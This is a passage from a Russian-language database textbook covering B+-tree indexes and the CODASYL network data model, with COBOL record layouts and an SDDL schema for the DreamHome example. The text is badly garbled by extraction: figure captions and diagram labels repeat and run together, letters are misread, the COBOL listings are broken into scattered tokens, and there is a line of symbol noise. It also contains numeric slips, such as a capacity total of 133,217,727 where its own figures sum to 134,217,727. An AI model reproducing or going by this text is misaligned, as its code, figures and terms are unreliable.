Метод ISAM фирмы IBM построен на использовании двухуровневой индексной структуры. Операции вставки в нем обрабатываются с помощью страниц переполнения, которые мы рассматривали в разделе Б.4. Вообще говоря, можно использовать произвольно глубокую л-уровневую индексную структуру, но на практике обычно ограничиваются не более чем тремя уровнями, поскольку большее количество уровней требуется только для исключительно больших файлов. В следующем разделе рассматривается особый тип многоуровневого плотного индекса — В'-деревья.
Б.5.4. В+-деревья
Во многих СУБД для хранения данных или индексов используется структура, называемая деревом. Дерево состоит из иерархии узлов (node), в которой каждый узел, за исключением корня (root), имеет родительский (parent) узел, а также один, не-
сколько или ни одного дочернего (child) узла. Корень не имеет родительского узла. Узел, который не имеет дочерних узлов, называется листом (leaf).
Глубиной дерева называется максимальное количество уровней между корнем и листом. Глубина дерева может быть различной для разных путей доступа к листам. Если же она одинакова для всех листов, то в этом случае дерево называется сбалансированным, или В-деревом (В-tree) (Bayer and McCreight, 1972; Comer, 1979). Степенью (degree) (или порядком (order)) дерева называется максимально допустимое количество дочерних узлов для каждого родительского узла. Большие степени обычно используются для создания более широких и менее глубоких деревьев. Поскольку время доступа в древовидной структуре зависит от глубины, а не от ширины, обычно принято использовать более “кустистые” и менее глубокие деревья. Бинарным деревом (binary tree) называется дерево порядка 2, в котором каждый узел имеет не больше двух дочерних узлов.
В+-дерево определяется следующим образом.
Если корень не является листовым узлом, то он должен иметь, по крайней мере, два дочерних узла.
В дереве порядка п каждый узел (за исключением корня и листов) должен иметь от п/2 до п указателей и дочерних узлов. Если число п/2 не является целым, то оно округляется до ближайшего большего целого.
Я В дереве порядка п количество ключевых значений в листе должно находиться в пределах от (п-1)/2 до (п-1). Если число (п-1)/2 не является целым, то оно округляется до ближайшего большего целого.
Я Количество ключевых значений в нелистовом узле на единицу меньше количества указателей.
Дерево всегда должно быть сбалансированным, т.е. все пути от корня к каждому листу должны иметь одинаковую глубину.
Я Листы дерева связаны в порядке возрастания ключевых значений.
На рис. Б.9 представлен индекс по полю Sno для таблицы Staff (см. табл. Б.1), построенный в виде В4 -дерева порядка 1. Каждый узел в этом дереве имеет следующий вид: | • |ключевое^значенив!| • |ключевое значение21*1
Здесь символ • обозначает отсутствующее значение или указатель на другую запись. Если ключевое значение поиска меньше или равно 'ключевое_значение/, то для перехода к следующему анализируемому узлу используется указатель, расположенный слева от поля со значением 'ключевое_значение/. В противном случае используется указатель, размещенный в данном узле последним. Например, для обнаружения записи 'SL2V следует начать поиск с корневого узла. Поскольку значение 'SL21' больше 'SG14', необходимо перейти по указателю, расположенному справа, который приведет нас к узлу второго уровня с ключевыми значениями 'SG37' и 'SL21'. Далее нужно перейти по указателю, расположенному слева от значения 'SL21', который и приведет нас к листу с адресом записи 'SL21'.
На практике каждый узел в дереве является страницей, а потому в нем может храниться больше трех указателей и двух ключевых значений. Если страница имеет размер 4096 байт, каждый указатель — длину 4 байта, размер поля Sno также равен 4 байтам и каждая страница содержит 4-байтный указатель на следующий узел того же уровня, в таком случае в одной странице можно сохранить (4096-4)/(4+4)=511 индексных записей. Таким образом, порядок данного В+-дерева равен 512. Корень дерева может содержать до 511 записей и иметь до 512 дочерних узлов. Каждый дочерний узел также может содержать до 511 записей, что в целом дает структуру из 261 632 записей. В свою очередь, каждый дочерний узел также может иметь до 512 дочерних узлов, что в сумме дает 262 144 дочерних узла на уровне 2 этого дерева. Каждый их этих узлов также может содержать до 511 записей, что дает двухуровневую структуру из 133 955 584 записей. Теоретический максимум для количества индексных записей в двухуровневом дереве определяется следующим образом.
Рис. Б.9. Пример индекса со структурой В'-дерева
Корень511
Уровень 1261632
Уровень 2133 955584
Всего133 217727
Таким образом, описанная выше структура позволяет осуществлять произвольный доступ к отдельной записи файла Staff, содержащего до 133 217 727 записей, с выполнением лишь четырех операций доступа к диску (на самом деле корень обычно находится в оперативной памяти, а потому количество доступов будет на единицу меньше). На практике, однако, количество записей на одной странице обычно меньше, поскольку не все страницы бывают полностью заполненными (рис. Б.9).
В В*-дереве для доступа к любой записи данных требуется практически одинаковое время, так как при поиске просматривается одинаковое количество узлов, благодаря тому, что все листы дерева имеют одинаковую глубину. Поскольку этот индекс является плотным, каждая запись адресуется индексом, так что сортировать файл данных не требуется, т.е. он может храниться в виде неупорядоченного последовательного файла. Однако подобную балансировку дерева будет довольно сложно поддерживать в случае обновления содержимого дерева. На рис. Б. 10 показан пример построения В*-дерева, в которое записи вставляются в порядке, указанном в табл. Б.1.
На рис. Б. 10, а показана конструкция дерева после вставки двух первых записей 'SL21' и 'SG37'. Затем вставляется запись 'SG14'. Узел переполнен, а потому его нужно расщепить и переместить значение ^SL21 * в новый узел. Кроме того, потребуется создать родительский узел, состоящий из самого правого значения ключа в левом узле, как показано на рис. Б. 10, б. Затем вставляется запись 'SA9'. Она должна быть размещена слева от записи 'SG14'. Но в данном случае узел снова оказывается переполненным, а потому его следует расщепить и переместить значение 'SG37' в новый узел. Кроме того, в родительский узел помещается значение /SG14f, как показано на рис. Б. 10, в. Затем вставляется запись 'SG5'. Она должна быть размещена справа от записи 'SA9'. Но в данном случае узел снова оказывается переполненным, а потому его следует расщепить и переместить значение 'SG14' в новый узел. Кроме того, в родительский узел необходимо поместить значение 'SGS'. Но родительский узел также оказывается переполненным и подлежит расщеплению, в результате чего для него потребуется создать новый родительский узел — как показано на рис. Б. 10, г. Наконец, в файл добавляется запись 'SL41'» которая помещается в новый листовой узел, расположенный справа от записи ' SL21', а значение 'SL21' помещается в соответствующий родительский узел, как показано на рис. Б.9.
Рис. Б.10. Пример вставки записей в В+-дерево: а) после вставки записей 'SL21' и 'SG37'; б) после вставки записи *SG14f; в) после вставки записи 'SA9'; г) после вставки записи 'SG5'
В главе 3, “Реляционная модель”, рассматривалась реляционная модель данных, которая нашла свое воплощение во втором поколении СУБД. В современных бизнес- приложениях преимущественно используются именно реляционные системы, однако наряду с ними во многих организациях все еще продолжают использоваться СУБД предшествующего, первого поколения. Это поколение СУБД образовано на основе двух более ранних моделей данных: сетевой модели данных и иерархической модели данных. Построенные на этих моделях данных системы по причинам, которые будут объяснены ниже, иногда называют навигационными системами. Кроме того, подобные системы часто называют унаследованными системами, но этот термин обычно имеет более широкий смысл и может применяться в отношении любой использовавшейся ранее системы, а не только сетевых или иерархических систем.
В этом приложении рассматривается только сетевая модель данных, типичными представителями которой являются CODASYL-совместимые системы, а иерархическая модель будет обсуждаться в приложении Г, “Иерархическая модель данных”. CODASYL-совместимые системы играли и продолжают играть важную роль в коммерческих приложениях. Действительно, многие компании инвестировали большие средства в навигационные СУБД и широко использовали эти СУБД в своей деятельности, несмотря на сложность “навигации” в такого рода базах данных (Gillenson, 1991). Для иллюстрации излагаемого здесь материала опять-таки будут использованы примеры из учебного проекта DreamHome, который описывается в разделе 1.7.
ВЛ. Сетевая модель данных
Сетевая Модель, состоящая из записей, элементов данных и связей типа “один модель ко многим” (1:М), установленных между записями.
данных
Если отталкиваться от понятия “сетевая”, то можно было бы предположить, что происхождение этой модели основано на использовании графов. Однако на самом деле не существует никакого формального определения сетевой модели данных, на которое можно было сослаться, хотя, в принципе, в качестве его основы можно было бы использовать существующую теорию сетевых структур. CODASYL- совместимая реализация модели данных, возможно, более ограничена, чем типичная сетевая реализация, поскольку стандарт CODASYL-систем был разработан на основе спецификаций группы DBTG. Вполне возможно, что термин “сетевая” использовался просто для подчеркивания того факта, что компоненты этой модели данных могут иметь установленные между ними связи. Здесь мы рассмотрим сетевую модель данных так, как она была разработана и определена в стандарте CODASYL, поскольку именно эта сетевая модель получила наибольшее распространение. Это рассмотрение неизбежно будет носить практический характер и, хотя мы не будем описывать какую-либо конкретную реализацию, в целом будет обсуждаться именно модель данных CODASYL.
Терминология
Между терминологией, используемой для описания CODASYL-систем, и терминологией реляционных систем существует некоторое различие, причем еще большие отличия существуют между способами их проектирования. Для того чтобы в дальнейшем обсуждении избежать путаницы с некоторыми понятиями и упростить изложение материала, в табл. В.1 представлена терминология, принятая в среде CODASYL-систем.
Таблица ВЛ. Терминология, принятая в среде CODASYL-систем
Термин
Описание
Элемент данных
Группа
Тип записи
Тип набора
Схема
Подчиненная схема (подсхема)
Схема хранения/внугренняя схема Рабочая область пользователя (User Work Area - UWA)
Именованное поле (или подчиненное поле)
Именованная группа подчиненных полей
Именованная группа полей или подчиненных полей
Именованная связь типа 1:М между двумя типами записей
Определение глобальной структуры базы данных
Определение внешнего/логического представления части базы данных
Определение физического устройства базы данных
Область памяти, контролируемая выполняемой программой, в которой выделяется память, необходимая для сохранения всех используемых переменных. Обмен данными происходит между базой данных и UWA- областями
Выполняемый процесс
Экземпляр выполняемой программы. Выполняемый процесс создается при каждом запуске некоторой прикладной программы
Язык SDDL (Schema DDL)
Декларативный язык, используемый для определения структуры базы данных
Язык SSDDL (Sub-schema DDL)
Декларативное расширение языка программирования, на основе которого определяется пользовательское представление базы данных
Архитектура
Комитет CODASYL DBTG предложил свой вариант структуры СУБД, который схематично представлен на рис. ВЛ. Из этого рисунка видно, что конечные пользователи осуществляют доступ к базе данных с помощью прикладной программы на базовом языке (обычно это COBOL). Для того чтобы осуществить доступ к информации в базе данных, каждая прикладная программа должна использовать некоторую подсхему, которая является ограниченным представлением структуры всей базы данных. Несколько программ могут параллельно использовать одну и ту же подсхему, однако каждая программа может использовать только одну подсхему. Более того, подсхема определяется только на одной схеме, но она может перекрывать другую подсхему. CODASYL-совместимая СУБД может поддерживать несколько различных баз данных, структура каждой из которых определяется собственной схемой.
Схема и подсхемы определяются с помощью различных DDL-языков (язык SSDDL является декларативным расширением языка программирования.) Определив схему с помощью языка SDDL, прежде чем она сможет использоваться СУБД, ее необходимо транслировать из исходной формы в объектную. После этого исходное определение каждой подсхемы также должно быть транслировано с преобразованием в объектную форму — только после этого оно сможет использоваться прикладной программой.
Обычно внутри прикладной программы должно содержаться временное хранилище, которое предназначено либо для хранения данных, извлекаемых из вспомогательного источника хранения, либо для размещения данных перед их сохранением. В программе на языке COBOL это достигается за счет указания соответствующих типов записей в разделе оперативного запоминающего устройства (working storage section) раздела данных (data division). Временное хранилище необходимо и в тех случаях, когда программа работает с СУБД, поскольку здесь также имеет место обмен данными между прикладной программой и базой данных. Использование подсхемы прикладной программой вызывает неявное объявление элементов этой подсхемы во временном хранилище. Пространство, зарезервированное для элементов подсхемы, называется рабочей областью пользователя (User Work Area — UWA), или
UWA-областью (в терминологии DBTG). В предложениях группы DBLTG (Database Language Task Group) этот термин опущен, хотя он по-прежнему используется на практике. В данном приложении мы также будем использовать этот термин.
Рис. B.L Обитая архитектура CODASYL совместимой СУБД
Самые последние предложения комитета CODASYL касаются определения языка описания хранилища данных или DDL-языка внутренней схемы, с помощью которых описываются все подробности физического устройства хранения. Эти подробности включают определение исходного размера области хранения, указание того, где и как хранятся записи, определение формата внутренних элементов данных, определение индексов и указание характеристик хранения наборов. Некоторые выражения SDDL-языка, которые на самом деле определяют физическое устройство (а потому снижают физическую независимость от данных), были перемещены в DDL-язык внутренней схемы. Соответствующие изменения также предлагались для языка SDDL. Здесь мы ограничимся рассмотрением только языков SDDL и SSDDL.
Физическая база данных охватывает записи, которые хранятся в одной или нескольких областях, а сами области отображаются на физические файлы. Одна область может покрывать несколько файлов, а физический файл может содержать несколько областей.
Основные структуры
Фундаментальные структуры, используемые в CODASYL-совместимой СУБД, взяты из языка COBOL и более ранней системы Integrated Data Store (IDS) (которая является прототипом сетевой СУБД) с некоторым влиянием языка PL/1. В этом разделе кратко рассматриваются основные существующие структуры и показано, как структуры базы данных могут быть построены с помощью этих конструкций.
Тип записи
Тип записи Именованная структура, которая содержит один или больше именованных элементов данных, каждый из которых обладает своим особым форматом. Некоторые элементы данных могут содержать два или больше именованных элементов данных, каждый из которых тоже обладает своим особым форматом.
Термин элемент данных (data item или elementary item) в терминологии комитета CODASYL представляет поле или подчиненное поле. Типы записей имеют имена и обычно содержат несколько элементов данных. Эти элементы данных могут содержать другие элементы данных, в таком случае они называются группой (group item). Каждый элемент данных имеет собственное имя и формат, т.е. тип данных. Пример типа записи показан в листинге ВЛ.
| Листинг В.1. Структура записи в языке COBOL для типа записи Staff
01 STAFF.
Имя записи
Элемент данных
Элемент данных
Элемент данных
Группа
Элемент данных
Элемент данных
02
02
02
02
SNO; PICTURE IS XX999.
FNAME; PICTURE IS X(15).
LNAME; PICTURE IS X(15).
ADDRESS.
03 ALINEl; PICTURE IS X(25).
03 ALINE2; PICTURE IS X(25).
02 TEL-NO; PICTURE IS A(13).
»*#W>»XW>, A.«<**r *<OJW*-y<4*«W ^> <Л-'^УЛг # '/ У V♦ * *
Элемент данных
На диаграммах каждый тип записи отображается в виде имени, заключенного в прямоугольник. Например, на рис. В.2 показаны два типа записей: Staff и Property_for_Rent. Тип записи определяет особую структуру, которая обычно связана с некоторым типом сущности. Отдельные значения типа записи называются экземплярами.
Рис. В.2. Диаграмма типов записи
Структуры внутри записей
Интраструктурой называется структура, размещенная внутри типа записи. Помимо показанной выше группы Address, в языке COBOL допускается определение повторяющихся групп или таблиц. (В языке PL/1 для повторяющихся групп используется термин “агрегат”, который должен применяться в тех случаях, когда язык PL/1 используется в качестве базового языка программирования приложений.) Повторяющиеся группы могут иметь размерность 1, 2 или 3. Доступ к их элементам осуществляется с помощью индексов. Предложенный в 1971 году язык SDDL был ориентирован в основном на язык PL/1, что явилось следствием протестов со стороны компании IBM по поводу того, что его предыдущие версии были чрезмерно ориентированы на язык COBOL. Язык PL/1 обладает более мощными средствами работы с интраструктурами. Однако с тех пор все большее внимание уделялось проектированию реляционных баз данных и нормализации создаваемых отношений, а потому данная функциональная особенность практически не использовалась. В настоящее время эта функциональная возможность поддерживается в имеющихся реализациях не в полной мере.
Тип набора
ТипИменованная связь типа “один ко многим” (1:М), установленная межнабораДУ записью-владельцем и одной или несколькими записями-членами.
Тип набора представляет собой конструкцию, которая поддерживает работу с интраструктурами, т.е. со структурами внутри типов записей. Тип набора поддерживает связь 1:М, в которой тип записи на стороне “один” называется типом записи- владельца, а тип записи на стороне “многие” называется типом записи-члена. Используя типы записи и типы набора, проектировщик базы данных может создать диаграмму структуры данных, или схему данных, используемую для представления структуры CODASYL-совместимой базы данных. Простой пример типа набора показан на рис. В.З.
Oversees <— Тип множестваOversees <— Тип множестваТип записи-владельцаТип записи-владельцаtProperty_■Sent-tProperty_■Sent-Тип записи-членаТип записи-члена
Oversees <— Тип множества
Oversees <— Тип множества
Тип записи-владельца
Тип записи-владельца
tProperty_
■Sent-
tProperty_
■Sent-
Тип записи-члена
Тип записи-члена
Рис. В.З. Диаграмма типа набора суказанием индексов кардинальности
Этот тип диаграммы называется диаграммой Бахмана (Bachmann). При создании типов наборов необходимо учитывать следующие особенности.
Все типы наборов должны иметь имя.
Тип набора может иметь несколько экземпляров (за одним исключением, которое будет описано позже).
Набор может быть пустым, т.е. в нем может находиться только одна запись-владелец.
Разработка структуры базы данных
Типы записей и наборов используются для разработки структуры базы данных и (соответственно) диаграммы схемы. При этом следует иметь в виду перечисленные ниже правила.
Только один тип записи может быть владельцем в каждом наборе, хотя один и тот же тип записи может быть владельцем в нескольких различных типах наборов.
Один или больше типов записей могут быть членами одного и того же типа набора (многочленного типа набора).
Тип записи может быть членом нескольких типов наборов.
Тип записи может быть владельцем в одних типах наборов и членом в других типах наборов.
Между любыми двумя типами записей может быть определено любое количество типов набора.
Типы набора могут быть определены так, что в результате они образуют циклическую структуру.
Запись необязательно должна быть членом двух экземпляров одного и того же типа набора.
Тип записи необязательно должен быть членом какого-либо типа набора (отдельный тип записи).
На рис. В.4 - В.7 представлены некоторые возможные варианты структур, которые могут быть созданы в сетевой базе данных. На рис. В.З показана циклическая структура, а на рис. В.9 — два типа наборов, которые определены между двумя типами записей.
Рис. В.4. Тип записи Branch является вла-дельцем типов наборов Has и IsAllocated
Рис. В.5. Два примера многочленных типов набора: а) тип записи Branch владеет типом набора Controls, который содержит типы записей Property for_Rent и Rent^History; б) тип записи Branch владеет типом набора Engages, который содержит типы записей Staff и Qualification
Рис. В.6. Тип записи Viewing является членом типов набора Takes и Attends
Рис. В.7. Иерархическая структура, в которой тип записи Branch владеет многими типами записи Staff, каждый из которых владеет многими типами записи Property_for_Rent
Создание связей типа "многие ко многим" (M:N)
Поскольку наборы являются единственным способом представления связей между записями, а набор может иметь только одного владельца, в этой модели не существует прямого способа представления связи типа “многие ко многим”. Следовательно, для решения подобной задачи между двумя записями следует организовать особый связующий тип записи (link record type). Этот тип записи позволяет образовать две связи типа 1:М, с помощью которых можно будет легко управлять типами набора. Например, потенциальный арендатор может просматривать несколько объектов недвижимости, а один объект недвижимости может просматриваться многими потенциальными арендаторами. Соответственно между наборами данных Renter и Property_for_Rent задается связь типа M:N, которая выражается в виде связующего типа записи Viewing, как показано на рис. В.6.
Если нам нужно иметь сведения только о том, кто какие объекты осматривал, в таком случае связующий тип записи может не содержать никакой информации. Он будет просто играть роль связи между двумя основными типами записей. Однако, если необходимо иметь данные о просмотрах, тип записи Viewing будет не только по- прежнему связывать этих два типа записей, но и содержать некоторую дополнительную информацию. Такой способ управления связями типа M:N является зеркальным отражением процесса декомпозиции связей типа M:N, который описывается в главе 8, “Методология логического проектирования реляционных баз данных”.
Управление рекурсивными связями
Рекурсивная связь возникает в том случае, когда экземпляр типа записи участвует в связи с другим экземпляром того же типа записи. Рекурсивные связи могут иметь тип 1:1, 1:М или M:N. Например, среди сотрудников некоторого отделения компании есть один, который выполняет функции менеджера этого отделения и руководит работой всех других сотрудников. На рис. В.8 эта связь показана с помощью диаграммы Бахмана.
К сожалению, во многих CODASYL-совместимых СУБД не допускается определение рекурсивного набора, в котором один и тот же тип записи является владельцем и членом одного и того же набора. Для преодоления этого ограничения используется связующий тип записи, с помощью которого между двумя типами записей определяются два типа наборов, как показано на рис. В.9.
Обратите внимание на то, что тип набора HasPositionOf представляет связь 1:1 между типами записей Staff и Manager_Link, тогда как Manages представляет связь 1:М в другом направлении. Здесь опять следует отметить, что связующий тип записи не содержит никаких элементов данных. Это не единственный способ управления рекурсивной связью типа 1:М. Альтернативный метод заключается в создании типа записи Manager с одним набором Manages между типами записей Manager и Staff. Это позволяет удалить рекурсивную связь, но может стать причиной возникновения проблем в том случае, когда оба типа записи участвуют в общих связях с другими типами записей. Аналогичные замечания относятся к рекурсивной связи 1:1, хотя такие случаи возникают достаточно редко.
Рис. В.8. Рекурсивная связь типа 1:МРис. В.8. Рекурсивная связь типа 1:М
Рис. В.8. Рекурсивная связь типа 1:М
Рис. В.8. Рекурсивная связь типа 1:М
Рис. В.9. Структура данных для рекурсивной связи 1:М, созданной с помощью связующего типа записи Manager_Link
Аналогичным образом, рекурсивная связь типа M:N может быть разбита на отдельные связи типа M:N. Отличие заключается в том, что в данном случае используется один тип записи. Для иллюстрации этого приема расширим учебный проект Dream Ноте дополнительными условиями. Допустим, что в этой компании имеется учебная программа повышения квалификации сотрудников с перечислением курсов и практических занятий. Необходимость прохождения этих курсов и занятий зависит от квалификации сотрудника и от успешно пройденных ранее курсов и посещавшихся занятий. Все курсы содержат сведения не только об уровне квалификации, приобретаемом после их прохождения, но и об эквивалентных уровнях квалификации, приобретенных после освоения других внешних программ обучения. Следовательно, для каждого курса нужно иметь возможность определить перечень всех курсов, которые необходимо пройти предварительно. И, наоборот, нужно иметь возможность определить, для каких курсов обязательно следует пройти данный курс. Таким образом, курс обладает рекурсивной связью типа M:N, которая показана на рис. В. 10.
Как и прежде, для решения поставленной задачи между двумя типами записи создается связующий тип записи и определяются два типа набора, как показано на рис. В. 11. Обратите внимание на то, что здесь, в отличие от предыдущего примера со связью типа 1:М, в обоих типах набора роль записей-владельцев и записей-членов выполняют одни и те же типы записи.
PrerequisitePrerequisite
Prerequisite
Prerequisite
Рис. В.10. Рекурсивная связь типа M:NРис. В.10. Рекурсивная связь типа M:NРис.В.П. Структура данных для рекурсивной связи типа M:N, созданная с помощью связующего типа записи Prerequisite
Рис. В.10. Рекурсивная связь типа M:N
Рис. В.10. Рекурсивная связь типа M:N
Системный тип набора
Системный Именованная связь между воображаемым типом записи-владельца,тип набора который является системой (System), и (обычно) одним типом запи-си-члена.
Системные наборы также называются сингулярными наборами и являются средствами соединения всех экземпляров типа записи, которые встречаются в других типах наборов только в качестве типа записи-владельца. Как следует из самого названия, владельцем этих типов наборов является система (System), которая на самом деле присутствует только в названии. Для типа записи System не существует никакого определения, а потому к нему нельзя организовать доступ. Любой системный тип набора существует только в единственном экземпляре. Системные наборы очень полезны, если требования включают последовательную обработку заданного типа записей, ибо в противном случае он не может быть упорядочен, поскольку встречается только в виде типа записи-владельца. Пример системного набора записей показан на рис. В. 12, где тип записи System является владельцем системного набора BranchSet и содержит Branch в качестве типа записи-члена.
Система
V BranchSetV BranchSet^ Branch I^ Branch I
V BranchSet
V BranchSet
^ Branch I
^ Branch I
Рис. ВЛ2. Системный набор записей
Реализация наборов
Понимание всех способов реализации типов набора в CODASYL-совместимых СУБД имеет очень большое значение, хотя здесь мы рассмотрим только некоторые подробности организации уровня хранения. Дело в том, что понимание этих методов позволяет прояснить картину построения экземпляров набора и дает возможность четко представить работу многих специфических команд языков DDL и DML. Более подробные сведения об этом можно найти в работах Стабса и Вебра (Stubbs and Webre, 1993), а также Стендиша (Standish, 1994).
Цепочки указателей
Самым распространенным методом реализации наборов является использование указателей, которые эффективно связывают (образуют цепочки) записи. Эти связи позволяют последовательно совершать переходы между всеми записями с возвратом к исходной записи и, таким образом, образуют кольцевую структуру. Подобные кольцевые структуры могут быть однократно или двукратно связанными, причем двукратная связь позволяет выполнять обход в двух направлениях. Для иллюстрации обоих вариантов рассмотрим пример, в котором владелец (Owner) владеет (Owns) объектом недвижимости (Property for_Rent) с приведенными ниже упрощенными данными.
OwnerСО46OwnerСО46OwnsOwnsProperty_for RentPAI 4Property_for RentPAI 4
Owner
СО46
Owner
СО46
Owns
Owns
Property_for Rent
PAI 4
Property_for Rent
PAI 4
00870087PL94 и PG21
0087
0087
Если тип набора является однократно связанным (связанным только со следующей записью), то этих два экземпляра можно схематически представить так, как показано на рис. В. 13. Однако, если тип набора является двукратно связанным (связанным со следующей и предыдущей записью), в этом случае данные экземпляры набора схематически будут выглядеть так, как показано на рис. В.14.
Рис. ВЛ3. Реализация однократно связанного набора с помощью указателей на следующую запись
Рис. В.14. Реализация двукратно связанного набора с помощью указателей на следующую и предыдущую записи
Рис. ВЛ5. Однократно связанный набор с дополнительными указателями от записей- членов к записям-владельцам
Рис. В.16. Экземпляр многочленного набора с дополнительными указателями от записей- членов одного типа к их записям-владельцам
Дополнительные указатели могут применяться для указания связи записи-члена с ее записью-владельцем. Пример использования таких дополнительных связей записей-членов с записями-владельцами в однократно связанном наборе показан на рис. В.15. Очевидно, что в этом простом примере прямая связь записей-членов с записями-владельцами является излишней и приведет к неоправданным накладным расходам, связанным с организацией хранения и сопровождения таких структур. Однако подобная структура с дополнительными указателями оказывается весьма полезной в случаях достаточно больших наборов записей с частыми переходами от записей-членов к записям-владельцам. Кроме того, в многочленных наборах (см. раздел В.5) полезно иметь такие дополнительные ссылки для какого-то одного типа записей-членов, но не для всех остальных. Например, для упрощения обработки показанного на рис. В.5 многочленного набора Engages можно использовать дополнительные указатели от записей-членов Staff к их записям-владельцам. Для однократно связанного набора представление такой структуры данных для отделения компании с номером 'ВЗ' будет иметь вид, показанный на рис. В.16.
Массивы указателей
Второй метод реализации наборов записей основан на использовании массивов указателей. Они позволяют эффективно организовать доступ к записи-владельцу от каждой записи-члена и обойтись без применения указателей на следующую и предыдущую записи. Подобное представление без использования указателей на владельца для показанного на рис. В. 15 примера приведено на рис. В. 17. Указатели на владельцев в этой реализации также могут быть определены с помощью указателей от записей-членов к записям-владельцам. Как следует из этой диаграммы, массив указателей может храниться либо как часть записи-владельца, либо в каком-либо другом месте базы данных. В последнем случае запись-владелец содержит указатель на этот массив.
00870087PL94PG21PL94PG21СО46А
0087
0087
PL94PG21
PL94PG21
РА14
Рис. ВЛ 7. Реализация набора записей на основе массива указателей
Исходно спецификаторы способов реализации наборов были предложены в составе языка SDDL, но в более поздних предложениях они были устранены, поскольку некоторые подробности реализации были справедливо оценены как несоответствующие
данному уровню. Эти подробности теперь относятся к языку внутренней схемы DDL. Более подробную информацию об этих CODASYL-предложениях можно найти в работах Франка (Frank, 1988).
Диаграммы экземпляров
Ранее диаграммы экземпляров уже использовались для иллюстрации некоторых аспектов реализации наборов. Однако их полезно применять и для визуализации других структур. Вообще говоря, в диаграммах экземпляров для представления связи значений в записях обычно используется однократно связанная кольцевая структура, причем это не предполагает наличия какой-либо конкретной реализации. Диаграмма экземпляров упрощает понимание того, как действительные данные упорядочены в структурах, а это дает более полное представление о возможных способах обработки данных в этих структурах с помощью команд DML-языка.
На рис. В. 13 показаны два экземпляра типа набора Owns. Это простая иерархия с одним экземпляром записи-владельца (Owner), связанным с одной или несколькими записями-членами (Property_for_Rent). Обратите внимание, что эта конструкция может использоваться для удаления повторяющихся групп. Более сложные примеры диаграмм экземпляров на основе упрощенных данных показаны на рис. В.4 и В.6. На рис. В. 18 и В. 19 показаны данные для каждой из этих структур и соответствующие им диаграммы экземпляров.
Языки описания схемы и подсхемы
Существуют два языка описания данных (DDL): один — для схемы и второй для подсхемы (представления). Они используются для описания фундаментальных структур CODASYL-совместимых СУБД. Здесь мы рассмотрим только язык схемы DDL — Schema DDL (SDDL).
Branch Has Staff
B3SG5,SG14,andSG37
B5SL21andSL41
Branch IsAllocated Property for RentB3PG4, PG16, PG21 and PG36Branch IsAllocated Property for RentB3PG4, PG16, PG21 and PG36Staff SG5— SG14 - SG37 — PG4 - PG16 - PG21 - PG36 Property_for_RentStaff SG5— SG14 - SG37 — PG4 - PG16 - PG21 - PG36 Property_for_RentBranchBranchStaffStaff
Branch IsAllocated Property for Rent
B3PG4, PG16, PG21 and PG36
Branch IsAllocated Property for Rent
B3PG4, PG16, PG21 and PG36
Staff SG5— SG14 - SG37 — PG4 - PG16 - PG21 - PG36 Property_for_Rent
Staff SG5— SG14 - SG37 — PG4 - PG16 - PG21 - PG36 Property_for_Rent
Branch
Branch
Staff
Staff
Рис. B.18. Примеры данных и соответствующей диаграммы экземпляров для рис. В.4
Renter CR56andCR76 CR76 CR74Renter CR56andCR76 CR76 CR74PG21 (Замечание; пробел означает отсутствие значения)PG21 (Замечание; пробел означает отсутствие значения)Property_for_RentTakesViewingAttendsRenterProperty_for_RentTakesViewingAttendsRenter
Renter CR56andCR76 CR76 CR74
Renter CR56andCR76 CR76 CR74
PG21 (Замечание; пробел означает отсутствие значения)
PG21 (Замечание; пробел означает отсутствие значения)
Property_for_Rent
Takes
Viewing
Attends
Renter
Property_for_Rent
Takes
Viewing
Attends
Renter
Property for_Rent IsViewedBy
PG4 "
PG16
Рис. B.19. Примеры данных и соответствующей диаграммы экземпляров для рис. В.6
Язык SDDL
В листинге В.2 показан фрагмент определения схемы базы данных для учебного проекта DreamHome, которая состоит из типов записей Staff и Property_for Rent, а также из типа набора Supervises, объединяющего этих два типа записей. Язык определения схемы SDDL определяет концептуальную или глобальную структуру базы данных (см. рис. ВЛ), в которой определены все типы записей и типы наборов. В CODASYL-совместимой СУБД может быть несколько определений схемы. Любое из них включает перечисленные ниже разделы.
Описание схемы. Это исходный раздел, в котором указано название схемы.
Описание области. В этом разделе указываются области физического хранения и может содержаться другая информация о характеристиках физического устройства хранения.
Описание записей. В этом разделе дается полное описание структуры каждой записи вместе со всеми элементами данных, а также могут включаться детальные сведения о расположении записей и методах их хранения.
Описание набора. В этом разделе перечисляются все наборы с указанием их типов записей-владельцев и типов записей-членов, а также приводятся другие сведения о наборах (например, об упорядочении).
Листинг В.2. Фрагмент описания схемы для арендуемых объектов недвижимости (учебный проект DreamHome)
SCHEMA NAME IS Estate-agent
AREA NAME IS Estate-Area
RECORD NAME IS Property for_Rent LOCATION MODE IS VIA Manages WITHIN Estate-Area;
02Pno;PICTUREISXX999.
02Street;PICTUREISA(15).
02Area;PICTUREISX(15).
02City;PICTUREISX(15).
02Postcode;PICTUREISA(8).
02
Туре;
PICTURE
IS
X(8).
02
Rooms;
PICTURE
IS
99.
02
Rent;
PICTURE
IS
9999.99.
02
Ono;
PICTURE
IS
XX999.
RECORD
NAME IS
Staff
LOCATION MODE IS CALC USING Sno DUPLICATES ARE NOT ALLOWED;
WITHIN Estate-Area;
PICTURE
IS
XX999.
02
Sno;
02
Fname;
PICTURE
IS
X(15).
02
Lname;
PICTURE
IS
X(15).
02
Address;
PICTURE
IS
A(50).
02
Tel-no;
PICTURE
IS
X(13).
02
Position;
PICTURE
IS
A(9).
02
Sex;
PICTURE
IS
X.
02
Salary;
PICTURE
IS
999999.99.
02
NI-No;
PICTURE
IS
XX9(6)X.
SET NAME IS Supervises;
OWNER IS Staff;
ORDER IS SORTED BY DEFINED KEYS
DUPLICATES ARE NOT ALLOWED
MEMBER IS Property_for Rent
KEY IS ASCENDING Pno *
NULL IS NOT ALLOWED
INSERTION IS AUTOMATIC RETENTION IS MANDATORY
SET SELECTION IS THRU Supervises OWNER IDENTIFIED BY CALC-KEY
Язык DML
Исторически сложилось так, что CODASYL-совместимый язык DML считался расширением языка программирования, который использовался для работы с подсхемой, определенной на основе ее собственного языка подсхемы SSDDL. Таким образом, этот язык программирования является базовым языком. В идеале, любая прикладная программа, созданная с помощью базового языка и содержащая команды DML, должна компилироваться модифицированным компилятором языка, однако на практике препроцессор языка преобразует исходный код в некоторый вид, понятный компилятору языка (см. раздел 2.2). Подсхема, которая определяется и хранится отдельно от прикладной программы, подключается к прикладной программе на языке COBOL с помощью соответствующей команды в разделе данных (Data Division). Это позволяет автоматически определить рабочее пространство в памяти для подсхемы.
